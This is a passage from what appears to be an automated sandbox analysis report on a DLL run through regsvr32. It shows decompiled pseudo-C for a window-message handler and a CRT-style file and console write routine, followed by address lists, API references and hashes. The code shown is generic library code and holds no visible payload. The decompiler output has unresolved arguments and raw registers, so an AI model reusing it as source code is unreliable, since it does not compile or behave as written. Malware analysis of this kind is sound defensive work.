							if(_t147 != _t213) {
								goto L27;
							} else {
								goto L21;
							}
						} else {
							if(_t142 != _t213) {
								goto L79;
							} else {
								 *((long long*)(_t188 + 0x80)) = _t213;
								 *((long long*)(_t188 + 0x88)) = 0xffffffff;
								return _t69;
							}
						}
					}
					while(( *(_t142 + 0x78) & r12d) == 0) {
						GetParent();
						_t69 = E10014360(_t100, _t107, _t142, _t142, _t181, _t192, _t200, _t205);
						if(_t142 != _t213) {
							continue;
						}
						goto L11;
					}
					goto L11;
				} else {
					L54:
					r12d = 0x401;
					__eflags =  *(_t189 + 0x78) & r12d;
					if(( *(_t189 + 0x78) & r12d) == 0) {
						L79:
						return _t69;
					}
					_t149 =  *_t210;
					_t69 = E10014360(_t100, _t107, _t142,  *_t210, _t181, _t192, _t200, _t205);
					__eflags = _t142 - _t213;
					if(_t142 == _t213) {
						L59:
						__eflags = _t142 - _t189;
						if(_t142 != _t189) {
							goto L79;
						}
						L60:
						__eflags = _t100 - 0x100;
						if(_t100 < 0x100) {
							L62:
							_t69 = _t146 - 0x104;
							__eflags = _t69 - 3;
							if(__eflags > 0) {
								_t128 = r15d;
							}
							L64:
							asm("bt dword [esi+0x78], 0xa");
							if(__eflags < 0) {
								goto L79;
							}
							__eflags = _t128 - r15d;
							if(_t128 != r15d) {
								L78:
								return E1001270C(_t128, _t107, _t142, _t149, _t181);
							}
							__eflags = _t100 - 0x201;
							if(_t100 == 0x201) {
								goto L78;
							}
							__eflags = _t100 - 0x203;
							if(_t100 == 0x203) {
								goto L78;
							}
							__eflags = _t100 - 0x204;
							if(_t100 == 0x204) {
								goto L78;
							}
							__eflags = _t100 - 0x206;
							if(_t100 == 0x206) {
								goto L78;
							}
							__eflags = _t100 - 0x207;
							if(_t100 == 0x207) {
								goto L78;
							}
							__eflags = _t100 - 0x209;
							if(_t100 == 0x209) {
								goto L78;
							}
							__eflags = _t100 - 0xa1;
							if(_t100 == 0xa1) {
								goto L78;
							}
							__eflags = _t100 - 0xa3;
							if(_t100 == 0xa3) {
								goto L78;
							}
							__eflags = _t100 - 0xa4;
							if(_t100 == 0xa4) {
								goto L78;
							}
							__eflags = _t100 - 0xa6;
							if(_t100 == 0xa6) {
								goto L78;
							}
							__eflags = _t100 - 0xa7;
							if(_t100 == 0xa7) {
								goto L78;
							}
							__eflags = _t100 - 0xa9;
							if(_t100 != 0xa9) {
								goto L79;
							}
							goto L78;
						}
						__eflags = _t100 - 0x109;
						if(__eflags <= 0) {
							goto L64;
						}
						goto L62;
					} else {
						goto L56;
					}
					while(1) {
						L56:
						__eflags = _t142 - _t189;
						if(_t142 == _t189) {
							goto L60;
						}
						__eflags =  *(_t142 + 0x78) & r12d;
						if(( *(_t142 + 0x78) & r12d) != 0) {
							goto L59;
						}
						GetParent();
						_t149 = _t142;
						_t69 = E10014360(_t100, _t107, _t142, _t142, _t181, _t192, _t200, _t205);
						__eflags = _t142 - _t213;
						if(_t142 != _t213) {
							continue;
						}
						goto L59;
					}
					goto L60;
				}
			}

0x10025c50
0x10025c50
0x10025c50
0x10025c50
0x10025c64
0x10025c70
0x10025c73
0x10025c76
0x10025c79
0x10025c7e
0x10025c87
0x10025caf
0x10025cb9
0x00000000
0x00000000
0x10025cc4
0x10025cce
0x00000000
0x00000000
0x10025cd4
0x10025cd9
0x10025ce3
0x00000000
0x00000000
0x10025ce9
0x10025cee
0x10025cf5
0x10025cfa
0x10025d03
0x10025d22
0x10025d25
0x10025d47
0x10025d4b
0x10025d4e
0x10025d53
0x10025d56
0x10025d59
0x10025da6
0x10025da6
0x10025dab
0x10025db0
0x10025db8
0x10025dbb
0x10025dca
0x10025dbd
0x10025dc0
0x10025dc5
0x10025dc5
0x10025dd0
0x10025dd3
0x10025dd9
0x10025ddf
0x10025de2
0x10025df4
0x10025df7
0x10025df7
0x10025e01
0x10025e07
0x10025e0b
0x10025e0b
0x10025e16
0x10025e1e
0x10025e27
0x10025e2f
0x10025e3b
0x10025e46
0x10025e4b
0x10025e50
0x10025e58
0x10025e5b
0x10025e6b
0x10025e71
0x10025e77
0x10025e7b
0x10025e80
0x10025e84
0x10025e8b
0x10025ef8
0x10025ef8
0x10025efc
0x10025fcd
0x10025fd0
0x10025fda
0x10025fe6
0x10025fe6
0x10025fec
0x10025ff1
0x10025ff8
0x10025ffb
0x10025ffd
0x10026001
0x10026003
0x10026003
0x1002600f
0x1002600f
0x10026001
0x10026015
0x1002601c
0x10026023
0x1002602a
0x10026034
0x10026039
0x10026048
0x10026048
0x10026063
0x1002606c
0x1002606c
0x10026071
0x10026075
0x00000000
0x00000000
0x1002607b
0x10026080
0x00000000
0x00000000
0x00000000
0x10026086
0x10025f02
0x10025f0f
0x10025f15
0x10025f1f
0x10025f23
0x10025f23
0x10025f2a
0x10025f32
0x10025f37
0x10025f39
0x10025f39
0x10025f3d
0x10025f3d
0x10025f45
0x10025f45
0x10025f4d
0x10025f4d
0x10025f59
0x10025f5f
0x10025f65
0x10025f73
0x10025f73
0x10025f73
0x10025f80
0x10025f86
0x10025f8b
0x10025fa1
0x10025fa1
0x10025fa7
0x10025fb1
0x10025fb5
0x10025fb9
0x10025fbc
0x10025fc5
0x00000000
0x10025f67
0x10025f6a
0x10025f6f
0x10025f71
0x10025fe4
0x00000000
0x10025fe4
0x00000000
0x10025f71
0x10025f65
0x10025e8d
0x10025e94
0x00000000
0x00000000
0x10025e96
0x10025e9b
0x10025edc
0x10025ee0
0x1002606a
0x10025ee6
0x10025eec
0x10025ef1
0x10025e9d
0x10025ea5
0x10025eab
0x10025eb4
0x10025ec3
0x10025ecf
0x10025ed5
0x00000000
0x10025de4
0x00000000
0x10025dec
0x10025de2
0x10025d5b
0x10025d5f
0x10025d62
0x10025d6f
0x10025d75
0x10025d78
0x10025d64
0x10025d64
0x10025d64
0x10025d7d
0x10025d80
0x10025d82
0x10025d88
0x10025d93
0x10025d96
0x10025d9a
0x10025d9e
0x10025d9e
0x10025da1
0x10025da4
0x00000000
0x00000000
0x00000000
0x00000000
0x10025d27
0x10025d2a
0x00000000
0x10025d30
0x10025d30
0x10025d37
0x00000000
0x10025d37
0x10025d2a
0x10025d25
0x10025d05
0x10025d0f
0x10025d18
0x10025d20
0x00000000
0x00000000
0x00000000
0x10025d20
0x00000000
0x10026090
0x10026090
0x10026090
0x10026096
0x1002609a
0x1002617d
0x1002617d
0x1002617d
0x100260a0
0x100260a4
0x100260a9
0x100260ac
0x100260d0
0x100260d0
0x100260d3
0x00000000
0x00000000
0x100260d9
0x100260d9
0x100260df
0x100260e9
0x100260e9
0x100260ef
0x100260f2
0x100260f4
0x100260f4
0x100260f7
0x100260f7
0x100260fc
0x00000000
0x00000000
0x100260fe
0x10026101
0x10026163
0x00000000
0x10026165
0x10026103
0x10026109
0x00000000
0x00000000
0x1002610b
0x10026111
0x00000000
0x00000000
0x10026113
0x10026119
0x00000000
0x00000000
0x1002611b
0x10026121
0x00000000
0x00000000
0x10026123
0x10026129
0x00000000
0x00000000
0x1002612b
0x10026131
0x00000000
0x00000000
0x10026133
0x10026139
0x00000000
0x00000000
0x1002613b
0x10026141
0x00000000
0x00000000
0x10026143
0x10026149
0x00000000
0x00000000
0x1002614b
0x10026151
0x00000000
0x00000000
0x10026153
0x10026159
0x00000000
0x00000000
0x1002615b
0x10026161
0x00000000
0x00000000
0x00000000
0x10026161
0x100260e1
0x100260e7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x100260ae
0x100260ae
0x100260ae
0x100260b1
0x00000000
0x00000000
0x100260b3
0x100260b7
0x00000000
0x00000000
0x100260bd
0x100260c3
0x100260c6
0x100260cb
0x100260ce
0x00000000
0x00000000
0x00000000
0x100260ce
0x00000000
0x100260ae

APIs

GetKeyState.USER32 ref: 10025CAF
GetKeyState.USER32 ref: 10025CC4
GetKeyState.USER32 ref: 10025CD9
GetParent.USER32 ref: 10025D0F
GetParent.USER32 ref: 10025D6F
SendMessageA.USER32 ref: 10025E01
ScreenToClient.USER32 ref: 10025E3B
GetCursorPos.USER32 ref: 10025EA5
SendMessageA.USER32 ref: 10025ECF
SendMessageA.USER32 ref: 10025F59
SendMessageA.USER32 ref: 10025F80
SendMessageA.USER32 ref: 10025FA1
SetWindowPos.USER32 ref: 10025FC5
SendMessageA.USER32 ref: 10025FDA
SendMessageA.USER32 ref: 1002600F
GetParent.USER32 ref: 100260BD

Strings

8, xrefs: 10025E50

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$ParentState$ClientCursorScreenWindow
String ID: 8
API String ID: 1877249070-4194326291
Opcode ID: b64295392913450c5d6651274441a87b12644d97fd68dd8b6fbc9d0700a89c98
Instruction ID: 59b394b5480e88bbccc3d044fa104ed3080907157c9d86a88bcefb3e09e9224f
Opcode Fuzzy Hash: b64295392913450c5d6651274441a87b12644d97fd68dd8b6fbc9d0700a89c98
Instruction Fuzzy Hash: 32C1C03620078182EB60DB25F89475E73A0F389FA1F914626DF6B07BE1CF3AD8959701

Uniqueness

Uniqueness Score: -1.00%

Function 1003DD80 Relevance: 29.0, APIs: 19, Instructions: 489
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 47%

			E1003DD80(signed int __ebx, signed int __ecx, signed int __edx, long long __rbx, signed int __rdx, signed long long __rdi, long long __rsi, long long __rbp, signed short* __r8, signed int* __r9, long long __r12, signed int __r13, long long __r14, long long __r15, void* _a32) {
				void* _v8;
				void* _v16;
				void* _v24;
				void* _v32;
				long long _v40;
				void* _v48;
				long long _v56;
				signed int _v72;
				char _v424;
				char _v1464;
				char _v1480;
				signed long long _v1488;
				signed int _v1496;
				signed int _v1500;
				signed int _v1504;
				signed int _v1508;
				signed int _v1512;
				signed long long _v1520;
				signed long long _v1528;
				intOrPtr _v1536;
				signed long long _v1544;
				signed char _t148;
				signed int _t149;
				signed int _t150;
				signed int _t162;
				signed int _t163;
				signed int _t166;
				int _t168;
				long _t169;
				signed int _t171;
				int _t172;
				signed int _t177;
				int _t178;
				int _t183;
				int _t184;
				signed int _t185;
				void* _t186;
				signed int _t190;
				void* _t191;
				int _t193;
				int _t194;
				signed int _t196;
				int _t197;
				void* _t199;
				void* _t200;
				signed int _t211;
				signed int _t212;
				signed int _t224;
				signed int _t225;
				signed int _t226;
				signed long long _t229;
				signed long long _t230;
				intOrPtr* _t232;
				signed int* _t244;
				signed int* _t246;
				signed int _t248;
				void* _t249;
				intOrPtr _t251;
				signed int _t252;
				signed int* _t256;
				intOrPtr _t265;
				intOrPtr _t267;
				signed short* _t286;
				signed short* _t287;
				signed char* _t288;
				signed long long _t293;
				signed int* _t296;
				signed long long _t301;
				signed int _t303;
				signed long long _t306;
				signed long long _t312;

				_t296 = __r9;
				_t294 = __r8;
				_t291 = __rbp;
				_t289 = __rsi;
				_t284 = __rdi;
				_t274 = __rdx;
				_t218 = __edx;
				_t215 = __ecx;
				_t211 = __ebx;
				_t301 = _t293;
				_t229 =  *0x100b1640; // 0xf93099fb11e7
				_t230 = _t229 ^ _t293;
				_v72 = _t230;
				 *((long long*)(_t301 + 0x20)) = __rbx;
				 *((long long*)(_t301 - 8)) = __rbp;
				 *((long long*)(_t301 - 0x10)) = __rsi;
				 *((long long*)(_t301 - 0x18)) = __rdi;
				 *((long long*)(_t301 - 0x20)) = __r12;
				 *((long long*)(_t301 - 0x30)) = __r14;
				_t226 = r8d;
				r14d = 0;
				_t225 = 0;
				_t303 = __rdx;
				_t242 = __ecx;
				if(r8d != 0) {
					__eflags = __rdx;
					if(__rdx != 0) {
						_v40 = __r13;
						_v56 = __r15;
						r13b = __ebx;
						r13d = r13d & 0x0000001f;
						_t312 = __ecx >> 5;
						_t306 = __r13 << 6;
						_t251 =  *((intOrPtr*)(0x100b8b20 + _t312 * 8));
						_v1496 = _t312;
						_v1488 = _t306;
						_t224 =  *(_t306 + 0x100b8b58) & 0x000000ff;
						dil = dil + dil;
						dil = dil >> 1;
						__eflags = dil - 2;
						if(dil == 2) {
							L6:
							_t148 =  !_t226;
							__eflags = _t148 & 0x00000001;
							if((_t148 & 0x00000001) != 0) {
								L8:
								__eflags =  *(_t306 + _t251 + 8) & 0x00000020;
								if(( *(_t306 + _t251 + 8) & 0x00000020) != 0) {
									_t218 = 0;
									__eflags = 0;
									_t24 = _t274 + 2; // 0x2
									r8d = _t24;
									E10044670(_t211, _t211, 0, 0, _t230, _t242, _t274, _t284, _t289, _t291, _t294);
								}
								_t215 = _t211;
								_t149 = E10044910(_t215, _t230, _t242, _t251, _t284, _t289, _t291);
								__eflags = _t149;
								if(_t149 == 0) {
									_t275 = 0x100b8b20;
									goto L51;
								} else {
									_t275 = 0x100b8b20;
									_t230 =  *((intOrPtr*)(0x100b8b20 + _t312 * 8));
									__eflags =  *(_t306 + _t230 + 8) & 0x00000080;
									if(( *(_t306 + _t230 + 8) & 0x00000080) == 0) {
										L51:
										_t252 =  *((intOrPtr*)(_t275 + _t312 * 8));
										__eflags =  *(_t306 + _t252 + 8) & 0x00000080;
										if(( *(_t306 + _t252 + 8) & 0x00000080) == 0) {
											r8d = _t226;
											_v1544 = _t289;
											_t150 = WriteFile(??, ??, ??, ??, ??);
											__eflags = _t150;
											if(_t150 == 0) {
												r15d = GetLastError();
												L98:
												__eflags = r15d;
												if(r15d == 0) {
													_t306 = _v1488;
													_t275 = 0x100b8b20;
													L103:
													_t232 =  *((intOrPtr*)(_t275 + _v1496 * 8));
													__eflags =  *(_t306 + _t232 + 8) & 0x00000040;
													if(( *(_t306 + _t232 + 8) & 0x00000040) == 0) {
														L106:
														E10032420(_t232);
														 *_t232 = 0x1c;
														E10032450(_t232);
														 *_t232 = 0;
														L107:
														L108:
														L109:
														return E1002FF40(_t215, _v72 ^ _t293);
													}
													__eflags =  *_t303 - 0x1a;
													if( *_t303 != 0x1a) {
														goto L106;
													}
													goto L108;
												}
												__eflags = r15d - 5;
												if(r15d != 5) {
													_t215 = r15d;
													E10032480(r15d, _t230);
												} else {
													E10032420(_t230);
													 *_t230 = 9;
													E10032450(_t230);
													 *_t230 = r15d;
												}
												goto L107;
											}
											r14d = _v1508;
											r15d = 0;
											__eflags = r15d;
											L95:
											__eflags = r14d;
											if(r14d == 0) {
												goto L98;
											}
											r14d = r14d - _t225;
											goto L108;
										}
										r15d = 0;
										__eflags = dil;
										if(dil != 0) {
											__eflags = dil - 2;
											if(dil != 2) {
												__eflags = _t226;
												_t286 = _t303;
												if(_t226 == 0) {
													goto L103;
												}
												do {
													_t256 =  &_v424;
													__eflags = 0;
													do {
														_t162 = _t224 - r12d;
														__eflags = _t162 - _t226;
														if(_t162 >= _t226) {
															break;
														}
														_t162 =  *_t286 & 0x0000ffff;
														_t286 =  &(_t286[1]);
														__eflags = _t162 - 0xa;
														if(_t162 == 0xa) {
															 *_t256 = 0xd;
															_t256 =  &(_t256[0]);
															_t275 = _t275 + 2;
															__eflags = _t275;
														}
														_t275 = _t275 + 2;
														 *_t256 = _t162;
														_t256 =  &(_t256[0]);
														__eflags = _t275 - 0x152;
													} while (_t275 < 0x152);
													_v1520 = _t289;
													_v1528 = _t289;
													_v1536 = 0x2ab;
													_t163 = _t215 - _t162;
													_t215 = 0xfde9;
													asm("cdq");
													r9d = _t163 >> 1;
													_t230 =  &_v1464;
													_v1544 = _t230;
													_t166 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
													__eflags = _t166;
													r13d = _t166;
													if(_t166 == 0) {
														r15d = GetLastError();
														goto L95;
													}
													_t212 = 0;
													__eflags = 0;
													while(1) {
														r8d = r13d;
														_t275 = _t293 + _t212 + 0x70;
														_t230 = _v1488;
														r8d = r8d - _t212;
														_v1544 = _t289;
														_t168 = WriteFile(??, ??, ??, ??, ??);
														__eflags = _t168;
														if(_t168 == 0) {
															break;
														}
														_t212 = _t212 + _v1508;
														__eflags = r13d - _t212;
														if(r13d > _t212) {
															continue;
														}
														goto L90;
													}
													_t169 = GetLastError();
													__eflags = r13d - _t212;
													r15d = _t169;
													if(r13d > _t212) {
														goto L95;
													}
													L90:
													r14d = _t224;
													r14d = r14d - r12d;
													__eflags = r14d - _t226;
												} while (r14d < _t226);
												goto L95;
											}
											__eflags = _t226;
											_t287 = _t303;
											if(_t226 == 0) {
												goto L103;
											}
											do {
												_t244 =  &_v1464;
												_t215 = 0;
												__eflags = 0;
												do {
													_t171 = _t224 - r12d;
													__eflags = _t171 - _t226;
													if(_t171 >= _t226) {
														break;
													}
													_t171 =  *_t287 & 0x0000ffff;
													_t287 =  &(_t287[1]);
													__eflags = _t171 - 0xa;
													if(_t171 == 0xa) {
														 *_t244 = 0xd;
														_t244 =  &(_t244[0]);
														_t225 = _t225 + 2;
														_t252 = _t252 + 2;
														__eflags = _t252;
													}
													_t252 = _t252 + 2;
													 *_t244 = _t171;
													_t244 =  &(_t244[0]);
													__eflags = _t252 - 0x3ff;
												} while (_t252 < 0x3ff);
												r8d = _t211;
												r8d = r8d - _t171;
												_t230 = _v1496;
												_v1544 = _t312;
												_t172 = WriteFile(??, ??, ??, ??, ??);
												__eflags = _t172;
												if(_t172 == 0) {
													r15d = GetLastError();
													goto L95;
												}
												_t230 = _v1508;
												_t252 =  &_v1464;
												r14d = r14d + _t172;
												__eflags = _t230 - _t244 - _t252;
												if(_t230 < _t244 - _t252) {
													goto L95;
												}
												_t275 = 0x100b8b20;
												__eflags = _t224 - r12d - _t226;
											} while (_t224 - r12d < _t226);
											goto L95;
										}
										__eflags = _t226;
										_t288 = _t303;
										if(_t226 == 0) {
											goto L103;
										} else {
											goto L54;
										}
										do {
											L54:
											_t246 =  &_v1464;
											_t215 = 0;
											__eflags = 0;
											do {
												_t177 = _t224 - r12d;
												__eflags = _t177 - _t226;
												if(_t177 >= _t226) {
													break;
												}
												_t177 =  *_t288 & 0x000000ff;
												_t288 =  &(_t288[1]);
												__eflags = _t177 - 0xa;
												if(_t177 == 0xa) {
													 *_t246 = 0xd;
													_t246 =  &(_t246[0]);
													_t225 = _t225 + 1;
													_t252 = _t252 + 1;
													__eflags = _t252;
												}
												_t252 = _t252 + 1;
												 *_t246 = _t177;
												_t246 =  &(_t246[0]);
												__eflags = _t252 - 0x400;
											} while (_t252 < 0x400);
											r8d = _t211;
											r8d = r8d - _t177;
											_t230 = _v1496;
											_v1544 = _t312;
											_t178 = WriteFile(??, ??, ??, ??, ??);
											__eflags = _t178;
											if(_t178 == 0) {
												r15d = GetLastError();
												goto L95;
											}
											_t230 = _v1508;
											_t252 =  &_v1464;
											r14d = r14d + _t178;
											__eflags = _t230 - _t246 - _t252;
											if(_t230 < _t246 - _t252) {
												goto L95;
											}
											_t275 = 0x100b8b20;
											__eflags = _t224 - r12d - _t226;
										} while (_t224 - r12d < _t226);
										goto L95;
									}
									E10035F70(_t230, _t242, _t251, 0x100b8b20, _t284, _t289, _t291, _t294, _t303);
									_t265 =  *((intOrPtr*)(_t230 + 0xc0));
									_t230 = 0x100b8b20;
									__eflags =  *(_t265 + 0x14);
									_t267 =  *((intOrPtr*)(_t306 +  *((intOrPtr*)(0x100b8b20 + _t312 * 8))));
									_t211 = 0 |  *(_t265 + 0x14) == 0x00000000;
									_t183 = GetConsoleMode(??, ??);
									__eflags = _t183;
									if(_t183 == 0) {
										_t275 = 0x100b8b20;
										goto L51;
									}
									__eflags = _t211;
									if(_t211 == 0) {
										L15:
										_t184 = GetConsoleCP();
										__eflags = _t226;
										_v1500 = _t225;
										r13d = _t184;
										_v1504 = _t184;
										_t248 = _t303;
										if(_t226 == 0) {
											r15d = _v1504;
											goto L98;
										}
										r15d = _v1504;
										do {
											__eflags = dil;
											if(dil != 0) {
												__eflags = dil - 1;
												if(dil == 1) {
													L34:
													_t185 =  *_t248 & 0x0000ffff;
													r15d = 0;
													__eflags = _t185 - 0xa;
													_v1512 = _t185;
													r15b = _t185 == 0xa;
													_t248 = _t248 + 2;
													__eflags = _t248;
													L35:
													__eflags = dil - 1;
													if(dil == 1) {
														L37:
														_t215 = _v1512 & 0x0000ffff;
														_t186 = E100492F0(_v1512 & 0x0000ffff, _t218);
														__eflags = _t186 - _v1512;
														if(_t186 != _v1512) {
															r15d = GetLastError();
															goto L95;
														}
														r14d = r14d + 1;
														__eflags = r15d;
														if(r15d == 0) {
															goto L41;
														}
														_t215 = 0xd;
														_v1512 = 0xd;
														_t200 = E100492F0(0xd, _t218);
														__eflags = _t200 - _v1512;
														if(_t200 != _v1512) {
															r15d = GetLastError();
															goto L95;
														}
														r14d = r14d + 1;
														_t225 = _t225 + 1;
														__eflags = _t225;
														goto L41;
													}
													__eflags = dil - 2;
													if(dil != 2) {
														goto L41;
													}
													goto L37;
												}
												__eflags = dil - 2;
												if(dil != 2) {
													goto L35;
												}
												goto L34;
											}
											_t215 =  *_t248;
											r15d = 0;
											__eflags =  *_t248 - 0xa;
											r15b =  *_t248 == 0xa;
											_t190 = E10044DA0( *_t248, _t230, _t248, _t267, _t284, _t289, _t291, _t294, _t303);
											__eflags = _t190;
											if(_t190 != 0) {
												_t230 = _t291 - _t248 + _t303;
												__eflags = _t230 - 1;
												if(_t230 <= 1) {
													L20:
													r15d = _v1504;
													goto L95;
												}
												r8d = 2;
												_t191 = E100496A0(_t215, _t224, _t225, _t230, _t248,  &_v1512, _t248, _t284, _t289, _t291, _t294, _t296, _t303);
												__eflags = _t191 - 0xffffffff;
												if(_t191 == 0xffffffff) {
													goto L20;
												}
												_t248 = _t248 + 1;
												__eflags = _t248;
												L24:
												_t294 =  &_v1512;
												r9d = 1;
												_v1520 = _t230;
												_v1528 = _t230;
												_t230 =  &_v1480;
												_t218 = 0;
												_t215 = r13d;
												_v1536 = 5;
												_v1544 = _t230;
												_t248 = _t248 + 1;
												_t193 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
												__eflags = _t193;
												r13d = _t193;
												if(_t193 == 0) {
													goto L20;
												}
												_t296 =  &_v1500;
												_t230 = _v1488;
												_t267 =  *((intOrPtr*)(_t230 +  *((intOrPtr*)(0x100b8b20 + _v1496 * 8))));
												r8d = r13d;
												_v1544 = 0;
												_t194 = WriteFile(??, ??, ??, ??, ??);
												__eflags = _t194;
												if(_t194 == 0) {
													r15d = GetLastError();
													goto L95;
												}
												_t196 = _v1500;
												r14d = r14d + _t196;
												__eflags = _t196 - r13d;
												if(_t196 < r13d) {
													goto L20;
												}
												__eflags = r15d;
												if(r15d == 0) {
													r13d = _v1504;
													goto L41;
												}
												_v1480 = 0xd;
												_t230 = _v1488;
												_t296 =  &_v1500;
												_t267 =  *((intOrPtr*)(_t230 +  *((intOrPtr*)(0x100b8b20 + _v1496 * 8))));
												r8d = 1;
												_v1544 = 0;
												_t197 = WriteFile(??, ??, ??, ??, ??);
												__eflags = _t197;
												if(_t197 == 0) {
													r15d = GetLastError();
													goto L95;
												}
												__eflags = _v1500 - 1;
												if(_v1500 < 1) {
													goto L20;
												}
												r13d = _v1504;
												_t225 = _t225 + 1;
												r14d = r14d + 1;
												goto L41;
											}
											_t42 = _t230 + 1; // 0x1
											r8d = _t42;
											_t199 = E100496A0(_t215, _t224, _t225, _t230, _t248,  &_v1512, _t248, _t284, _t289, _t291, _t294, _t296, _t303);
											__eflags = _t199 - 0xffffffff;
											if(_t199 != 0xffffffff) {
												goto L24;
											}
											goto L20;
											L41:
											__eflags = _t211 - r12d - _t226;
										} while (_t211 - r12d < _t226);
										r15d = _v1504;
										goto L95;
									}
									__eflags = dil;
									if(dil == 0) {
										_t275 = 0x100b8b20;
										goto L51;
									}
									goto L15;
								}
							}
							E10032450(_t230);
							 *_t230 = 0;
							E10032420(_t230);
							r9d = 0;
							r8d = 0;
							_t215 = 0;
							 *_t230 = 0x16;
							_v1544 = _t242;
							E10034370(_t242, _t251, _t274, _t284, _t289, _t291, _t294);
							goto L107;
						}
						__eflags = dil - 1;
						if(dil != 1) {
							goto L8;
						}
						goto L6;
					}
					E10032450(_t230);
					 *_t230 = 0;
					E10032420(_t230);
					r9d = 0;
					r8d = 0;
					_t215 = 0;
					 *_t230 = 0x16;
					_v1544 = __rdi;
					E10034370(__ecx, _t249, __rdx, __rdi, __rsi, __rbp, __r8);
					goto L109;
				}
				goto L109;
			}

0x1003dd80
0x1003dd80
0x1003dd80
0x1003dd80
0x1003dd80
0x1003dd80
0x1003dd80
0x1003dd80
0x1003dd80
0x1003dd80
0x1003dd8a
0x1003dd91
0x1003dd94
0x1003dd9c
0x1003dda0
0x1003dda4
0x1003dda8
0x1003ddb1
0x1003ddb5
0x1003ddb9
0x1003ddbc
0x1003ddbf
0x1003ddc1
0x1003ddc4
0x1003ddc7
0x1003ddd0
0x1003ddd3
0x1003de05
0x1003de0d
0x1003de15
0x1003de18
0x1003de26
0x1003de2a
0x1003de2e
0x1003de32
0x1003de37
0x1003de3c
0x1003de42
0x1003de45
0x1003de48
0x1003de4c
0x1003de54
0x1003de56
0x1003de58
0x1003de5a
0x1003de89
0x1003de89
0x1003de8f
0x1003de91
0x1003de91
0x1003de95
0x1003de95
0x1003de99
0x1003de99
0x1003de9e
0x1003dea0
0x1003dea5
0x1003dea7
0x1003e150
0x00000000
0x1003dead
0x1003dead
0x1003deb4
0x1003deb8
0x1003debe
0x1003e169
0x1003e169
0x1003e16d
0x1003e173
0x1003e43a
0x1003e440
0x1003e445
0x1003e44b
0x1003e44d
0x1003e46a
0x1003e46d
0x1003e46d
0x1003e470
0x1003e497
0x1003e49c
0x1003e4a3
0x1003e4a8
0x1003e4ac
0x1003e4b2
0x1003e4bf
0x1003e4bf
0x1003e4c4
0x1003e4ca
0x1003e4cf
0x1003e4d5
0x1003e4da
0x1003e4ea
0x1003e531
0x1003e531
0x1003e4b4
0x1003e4b9
0x00000000
0x00000000
0x00000000
0x1003e4bb
0x1003e472
0x1003e476
0x1003e48d
0x1003e490
0x1003e478
0x1003e478
0x1003e47d
0x1003e483
0x1003e488
0x1003e488
0x00000000
0x1003e476
0x1003e44f
0x1003e454
0x1003e454
0x1003e457
0x1003e457
0x1003e45a
0x00000000
0x00000000
0x1003e45c
0x00000000
0x1003e45f
0x1003e179
0x1003e17c
0x1003e17f
0x1003e23e
0x1003e242
0x1003e313
0x1003e315
0x1003e318
0x00000000
0x00000000
0x1003e320
0x1003e320
0x1003e328
0x1003e330
0x1003e332
0x1003e335
0x1003e337
0x00000000
0x00000000
0x1003e339
0x1003e33c
0x1003e340
0x1003e344
0x1003e346
0x1003e34b
0x1003e34f
0x1003e34f
0x1003e34f
0x1003e353
0x1003e357
0x1003e35a
0x1003e35e
0x1003e35e
0x1003e36f
0x1003e374
0x1003e383
0x1003e38b
0x1003e38d
0x1003e392
0x1003e399
0x1003e39c
0x1003e3a1
0x1003e3a6
0x1003e3ac
0x1003e3ae
0x1003e3b1
0x1003e42b
0x00000000
0x1003e42b
0x1003e3b3
0x1003e3b3
0x1003e3c0
0x1003e3c8
0x1003e3cb
0x1003e3e0
0x1003e3e5
0x1003e3ec
0x1003e3f1
0x1003e3f7
0x1003e3f9
0x00000000
0x00000000
0x1003e3fb
0x1003e3ff
0x1003e402
0x00000000
0x00000000
0x00000000
0x1003e404
0x1003e406
0x1003e40c
0x1003e40f
0x1003e412
0x00000000
0x00000000
0x1003e414
0x1003e414
0x1003e417
0x1003e41a
0x1003e41a
0x00000000
0x1003e423
0x1003e248
0x1003e24a
0x1003e24d
0x00000000
0x00000000
0x1003e260
0x1003e260
0x1003e265
0x1003e265
0x1003e267
0x1003e269
0x1003e26c
0x1003e26e
0x00000000
0x00000000
0x1003e270
0x1003e273
0x1003e277
0x1003e27b
0x1003e27d
0x1003e282
0x1003e286
0x1003e289
0x1003e289
0x1003e289
0x1003e28d
0x1003e291
0x1003e294
0x1003e298
0x1003e298
0x1003e2a6
0x1003e2ae
0x1003e2b1
0x1003e2b6
0x1003e2c9
0x1003e2cf
0x1003e2d1
0x1003e30b
0x00000000
0x1003e30b
0x1003e2d3
0x1003e2d8
0x1003e2e0
0x1003e2e3
0x1003e2e6
0x00000000
0x00000000
0x1003e2ee
0x1003e2f8
0x1003e2f8
0x00000000
0x1003e300
0x1003e185
0x1003e187
0x1003e18a
0x00000000
0x00000000
0x00000000
0x00000000
0x1003e190
0x1003e190
0x1003e190
0x1003e195
0x1003e195
0x1003e197
0x1003e199
0x1003e19c
0x1003e19e
0x00000000
0x00000000
0x1003e1a0
0x1003e1a3
0x1003e1a7
0x1003e1a9
0x1003e1ab
0x1003e1ae
0x1003e1b2
0x1003e1b5
0x1003e1b5
0x1003e1b5
0x1003e1b9
0x1003e1bd
0x1003e1bf
0x1003e1c3
0x1003e1c3
0x1003e1d1
0x1003e1d9
0x1003e1dc
0x1003e1e1
0x1003e1f4
0x1003e1fa
0x1003e1fc
0x1003e236
0x00000000
0x1003e236
0x1003e1fe
0x1003e203
0x1003e20b
0x1003e20e
0x1003e211
0x00000000
0x00000000
0x1003e219
0x1003e223
0x1003e223
0x00000000
0x1003e22b
0x1003dec4
0x1003ded0
0x1003ded7
0x1003dede
0x1003dee5
0x1003deea
0x1003deed
0x1003def3
0x1003def5
0x1003e162
0x00000000
